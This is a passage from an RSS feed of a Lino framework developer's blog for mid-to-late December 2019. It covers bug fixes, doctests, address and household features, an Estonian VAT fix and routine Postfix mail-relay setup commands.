&lt;span class="pre"&gt;'store'&lt;/span&gt;&lt;/code&gt; traceback on an &lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#amici" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Amici&lt;/span&gt;&lt;/a&gt; production site.  It went away after
&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;reload_services_sh&lt;/span&gt;&lt;/code&gt;. So it was maybe the same reason as &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3178"&gt;#3178&lt;/a&gt;.
The problem with that ticket is that we cannot reproduce it.&lt;/p&gt;
&lt;p&gt;This time the traceback helped me to understand a bug in
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.actors.Actor._get_handle()&lt;/span&gt;&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="nd"&gt;@classmethod&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;_get_handle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;hname&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;h&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="vm"&gt;__dict__&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hname&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;h&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;h&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_handle_class&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nb"&gt;setattr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;hname&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;settings&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SITE&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;kernel&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;setup_handle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;h&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;What happens when an exception occurs during &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;setup_handle()&lt;/span&gt;&lt;/code&gt;?  This method
should not store the handle instance in that case. Because the exception is
caught by calling code, so the unfinished handle remains in memory and gets used
by subsequent calls, causing tracebacks like the above one.  Now the
&lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;setattr()&lt;/span&gt;&lt;/code&gt; is being called &lt;em&gt;after&lt;/em&gt; &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;setup_handle()&lt;/span&gt;&lt;/code&gt;. I have some hope
that this might fix ticket &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3178"&gt;#3178&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;En passant I removed the &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.site.Site.setup_layouts()&lt;/span&gt;&lt;/code&gt; methods
because AFAICS it isn’t used anywhere any more.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/1225.html</guid><pubDate>Wed, 25 Dec 2019 00:00:00 +0000</pubDate></item><item><title>Sunday, December 22, 2019</title><link>https://luc.lino-framework.org/blog/2019/1222.html</link><description>&lt;section id="sunday-december-22-2019"&gt;
&lt;h1&gt;Sunday, December 22, 2019&lt;a class="headerlink" href="#sunday-december-22-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I realized that we want, in &lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#amici" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Amici&lt;/span&gt;&lt;/a&gt; multiple addresses for households and
organizations as well. So we no longer change
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.households.Plugin.partner_model&lt;/span&gt;&lt;/code&gt; from its default value to
&lt;cite&gt;contacts.Person&lt;/cite&gt;.&lt;/p&gt;
&lt;p&gt;Which means that we must adapt the detail layouts for households and
organizations.  For the latter this is trivial because Amici already has a
custom contacts plugin.  But for households I had to choose: make a custom
plugin for amici just for overriding the detail layout? Sounds a bit of an
overkill.  So I decided to fix this by making &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.households.html#module-lino_xl.lib.households" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.households&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;
aware of &lt;a class="reference external" href="https://using.lino-framework.org/plugins/addresses.html#module-lino_xl.lib.addresses" title="(in Lino User Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.addresses&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; and &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.phones.html#module-lino_xl.lib.phones" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.phones&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; : it now
provides a usable &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;HouseholdDetail&lt;/span&gt;&lt;/code&gt; when these two other plugins are also
installed.&lt;/p&gt;
&lt;p&gt;I stumbled into a bug &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3429"&gt;#3429&lt;/a&gt; (TypeError: must be str, not __proxy__).
Happened on a recurrent event with non-empty
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.cal.RecurrenceSet.positions&lt;/span&gt;&lt;/code&gt; field and occurring on more than
one weekday.  Fixed the bug and added coverage in the &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/cal.html#book-specs-cal" title="(in Lino Developer Guide)"&gt;&lt;span&gt;cal : Calendar functionality&lt;/span&gt;&lt;/a&gt;
doctest.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/1222.html</guid><pubDate>Sun, 22 Dec 2019 00:00:00 +0000</pubDate></item><item><title>Thursday, December 19, 2019</title><link>https://luc.lino-framework.org/blog/2019/1219.html</link><description>&lt;section id="thursday-december-19-2019"&gt;
&lt;h1&gt;Thursday, December 19, 2019&lt;a class="headerlink" href="#thursday-december-19-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="managing-addresses"&gt;
&lt;h2&gt;Managing addresses&lt;a class="headerlink" href="#managing-addresses" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;As a user of &lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#amici" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Amici&lt;/span&gt;&lt;/a&gt; I entered a friend with his address (a &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/contacts.html#lino_xl.lib.contacts.Person" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;Person&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; with one &lt;a class="reference external" href="https://dev.lino-framework.org/specs/addresses.html#lino_xl.lib.addresses.Address" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;Address&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;).  Later I also get introduced to his wife.  I
enter her as well, and I register a household (&lt;a class="reference external" href="https://dev.lino-framework.org/specs/households.html#lino_xl.lib.households.Household" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;Household&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;) with them as members.  How can I avoid to
enter the address three times?  Answer:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;add his wife as a person and their household without address&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Go to &lt;span class="menuselection"&gt;Explorer ‣ Contacts ‣ Addresses&lt;/span&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Use quick search and filter parameters to find your friend’s address&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Change the &lt;a class="reference external" href="https://dev.lino-framework.org/specs/addresses.html#lino_xl.lib.addresses.Address.partner" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;partner&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; of that address from your friend to the household&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To make above scenariou work, I had to add filter parameters to the
&lt;a class="reference external" href="https://dev.lino-framework.org/specs/addresses.html#lino_xl.lib.addresses.Address" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.addresses.Address&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; model.&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;startup&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="c1"&gt;# startup(&amp;#39;lino_book.projects.min9.settings&amp;#39;)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;startup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;lino_amici.projects.herman.settings.demo&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino.api.doctest&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;django.db.models&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Q&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;pprint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;models&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;addresses&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Addresses&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;parameters&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;{&amp;#39;address_type&amp;#39;: &amp;lt;lino.core.choicelists.ChoiceListField: address_type&amp;gt;,&lt;/span&gt;
&lt;span class="go"&gt; &amp;#39;partner&amp;#39;: &amp;lt;django.db.models.fields.related.ForeignKey: partner&amp;gt;,&lt;/span&gt;
&lt;span class="go"&gt; &amp;#39;place&amp;#39;: &amp;lt;django.db.models.fields.related.ForeignKey: place&amp;gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;rt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;models&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;addresses&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Addresses&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;params_layout&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;main&lt;/span&gt;
&lt;span class="go"&gt;&amp;#39;place partner address_type&amp;#39;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
&lt;section id="learning-foreignkey-fields"&gt;
&lt;h2&gt;Learning ForeignKey fields&lt;a class="headerlink" href="#learning-foreignkey-fields" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Until now we had one case of a &lt;a class="reference external" href="https://using.lino-framework.org/topics/rdbms.html#term-learning-foreign-key" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;learning foreign key&lt;/span&gt;&lt;/a&gt; field : the
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;city&lt;/span&gt;&lt;/code&gt; field of the address of a
&lt;a class="reference external" href="https://dev.lino-framework.org/specs/countries.html#lino_xl.lib.countries.CountryCity" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.countries.CountryCity&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; (e.g. of a partner). When you specify
a country and then discover that the city does not yet exist, you simply leave
the “invalid” city name in the combobox (Lino accepts it) and save the partner.
Lino will then silently create a city of that name.&lt;/p&gt;
&lt;p&gt;Now we have a second use case: the &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/contacts.html#lino_xl.lib.contacts.Role.person" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.contacts.Role.person&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;
field is now learning.  You can see the new feature in every application with
contacts.  For example min1. In the detail of a company, you have the
RolesByCompany slave table. In the Person column of that table you can now type
the name of a person that does not yet exist in the database.  Lino will create
it silently, and you can then click on the pointer to edit more information.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="miscellaneous"&gt;
&lt;h2&gt;Miscellaneous&lt;a class="headerlink" href="#miscellaneous" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Some tests in the book were still failing after my yesterday work. The
&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.lists.html#module-lino_xl.lib.lists" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.lists&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; plugin now supports being used in an application where
&lt;a class="reference external" href="https://using.lino-framework.org/plugins/addresses.html#module-lino_xl.lib.addresses" title="(in Lino User Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.addresses&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; is not installed.&lt;/p&gt;
&lt;p&gt;The “Diving into Lino” section of the developer guide had an “Introduction” that
contained mostly obsolete nonsense.&lt;/p&gt;
&lt;p&gt;The quick search field in the members of a partner list now searches the partner
name. Otherwise it wasn’t useful.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/1219.html</guid><pubDate>Thu, 19 Dec 2019 00:00:00 +0000</pubDate></item><item><title>Wednesday, December 18, 2019</title><link>https://luc.lino-framework.org/blog/2019/1218.html</link><description>&lt;section id="wednesday-december-18-2019"&gt;
&lt;h1&gt;Wednesday, December 18, 2019&lt;a class="headerlink" href="#wednesday-december-18-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Although Tonis promised to work on &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3339"&gt;#3339&lt;/a&gt; today, the question “Should
we run our own mail server or not?” didn’t let me sleep. After reading &lt;a class="reference external" href="https://danielmiessler.com/blog/4-reasons-run-email-server/"&gt;4
Reasons to Run Your Own Email Server&lt;/a&gt; I still thought
“Let’s learn how to do it”, but then I read &lt;a class="reference external" href="https://www.linode.com/docs/email/postfix/postfix-smtp-debian7/"&gt;Configure Postfix to Send Mail
Using an External SMTP Server&lt;/a&gt;
and decided to try this way as next step.&lt;/p&gt;
&lt;p&gt;The &lt;cite&gt;libsasl2-modules&lt;/cite&gt; package was already installed.
Changed &lt;cite&gt;myhostname&lt;/cite&gt; from &lt;cite&gt;mail.saffre-rumma.net&lt;/cite&gt; to simply &lt;cite&gt;saffre-rumma.net&lt;/cite&gt;.
Otherwise just as in the linode docs:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;sudo&lt;/span&gt; &lt;span class="n"&gt;nano&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;etc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;sasl_passwd&lt;/span&gt;
&lt;span class="n"&gt;sudo&lt;/span&gt; &lt;span class="n"&gt;postmap&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;etc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;sasl_passwd&lt;/span&gt;
&lt;span class="n"&gt;sudo&lt;/span&gt; &lt;span class="n"&gt;chown&lt;/span&gt; &lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;root&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;etc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;sasl_passwd&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;etc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;sasl_passwd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;db&lt;/span&gt;
&lt;span class="n"&gt;sudo&lt;/span&gt; &lt;span class="n"&gt;chmod&lt;/span&gt; &lt;span class="mi"&gt;0600&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;etc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;sasl_passwd&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;etc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;sasl_passwd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;db&lt;/span&gt;
&lt;span class="n"&gt;sudo&lt;/span&gt; &lt;span class="n"&gt;nano&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;etc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cf&lt;/span&gt;
&lt;span class="n"&gt;ll&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;etc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;ssl&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;certs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;ca&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;certificates&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;crt&lt;/span&gt;
&lt;span class="n"&gt;sudo&lt;/span&gt; &lt;span class="n"&gt;service&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt; &lt;span class="n"&gt;restart&lt;/span&gt;
&lt;span class="n"&gt;sudo&lt;/span&gt; &lt;span class="n"&gt;service&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I opened &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3412"&gt;#3412&lt;/a&gt; and worked on it.   To make the problem more visible I
added a fixture &lt;a class="reference external" href="https://dev.lino-framework.org/ref/demo_fixtures.html#fixture-demo2" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-fixture docutils literal notranslate"&gt;&lt;span class="pre"&gt;demo2&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; for &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.lists.html#module-lino_xl.lib.lists" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.lists&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;, which adds a list
membership for every partner. In &lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#amici" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Amici&lt;/span&gt;&lt;/a&gt; we now have a detail window for
partners as well.  This seems an easy and reasonable solution for the main
problem.
The &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.lists.MembersByList&lt;/span&gt;&lt;/code&gt; table has two new
(virtual) columns “Address” and “Contact details”.
&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.lists.MembersByPartner&lt;/span&gt;&lt;/code&gt; is now in summary display mode, and
list memberships now have a detail window.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/1218.html</guid><pubDate>Wed, 18 Dec 2019 00:00:00 +0000</pubDate></item><item><title>Tuesday, December 17, 2019</title><link>https://luc.lino-framework.org/blog/2019/1217.html</link><description>&lt;section id="tuesday-december-17-2019"&gt;
&lt;h1&gt;Tuesday, December 17, 2019&lt;a class="headerlink" href="#tuesday-december-17-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I continued to work on &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/2955"&gt;#2955&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;I fixed a bug in the Estonian VAT declaration (&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.eevat.html#module-lino_xl.lib.eevat" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.eevat&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;) : it
didn’t yet handle Intracom purchases correctly.  Yes, we are approaching the
production-ready state :-)&lt;/p&gt;
&lt;p&gt;New feature : national VAT implementations can now prefix observed fields of a
VAT declaration field with a “-” to indicate that the field is “inverted”.&lt;/p&gt;
&lt;p&gt;The demo fixture for &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.sepa.html#module-lino_xl.lib.sepa" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.sepa&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; now also sets the national VAT id
of some well-known providers in Estonia.  Until now they had “private person” as
&lt;a class="reference external" href="https://using.lino-framework.org/plugins/vat.html#term-VAT-regime" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;VAT regime&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/1217.html</guid><pubDate>Tue, 17 Dec 2019 00:00:00 +0000</pubDate></item><item><title>Monday, December 16, 2019</title><link>https://luc.lino-framework.org/blog/2019/1216.html</link><description>&lt;section id="monday-december-16-2019"&gt;
&lt;h1&gt;Monday, December 16, 2019&lt;a class="headerlink" href="#monday-december-16-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I am still trying to find out what to to with missing monit in Debian Buster.
Will it simply become available soon?&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://github.com/armbian/config/issues/55"&gt;https://github.com/armbian/config/issues/55&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://www.reddit.com/r/debian/comments/cbk7yn/debian_10_monit_not_found/"&gt;https://www.reddit.com/r/debian/comments/cbk7yn/debian_10_monit_not_found/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;Kuigi Ühendriigid suudavad ka lähitulevikus sisserände abil oma demograafilise
defitsiidi korvata, on põliselanike sündide kasvu möödapääasmatuks
eeltingimuseks Ameerika ühiskonna enese kultuuriline ja majanduspoliitiline
ümbersünd.&lt;/p&gt;
&lt;p&gt;Keeleline matemaatika:
Kui sa ütled “Kuigi A suudab ka lähitulevikus B abil oma C korvata, on D möödapääasmatuks
eeltingimuseks E.”, siis näitab see,&lt;/p&gt;
&lt;p&gt;C : demograafiline defitsiit
D : põliselanike sündide kasv&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/1216.html</guid><pubDate>Mon, 16 Dec 2019 00:00:00 +0000</pubDate></item><item><title>Sunday, December 15, 2019</title><link>https://luc.lino-framework.org/blog/2019/1215.html</link><description>&lt;section id="sunday-december-15-2019"&gt;
